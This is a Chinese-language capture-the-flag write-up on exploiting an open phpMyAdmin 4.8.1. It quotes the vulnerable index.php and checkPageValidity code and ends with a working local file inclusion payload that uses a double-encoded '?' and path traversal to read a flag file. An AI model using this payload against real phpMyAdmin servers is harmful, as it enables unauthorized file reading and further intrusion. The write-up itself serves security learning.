# 我有一个数据库

访问页面/phpmyadmin/，没有密码，不过也没有表，找一下版本号4.8.1，找CVE打。

下载4.8.1的源码。由于找不到，直接把题目环境扒下来了。

```
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
```

看一下index.php的代码，当传入的 `$_REQUEST['target']`

* 不为空
* 是一个字符串
* 不含有 `index`
* 不包含`import.php`、`export.php`
* 通过`checkPageValidity`函数

进入core.php，查看代码

```
    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }
```

注意到最后$page的值又经过了一次url解码，当参数通过$\_REQUEST方式传入时，已经经过了一次url解码，这里又进行了第二次解码后，可以直接利用二次编码?绕过（有意思的是这段代码某比赛专门出了一题CTF用来考），接着传入文件包含。

payload

```
?target=db_datadict.php%253f/../../../../../../../../flag
```
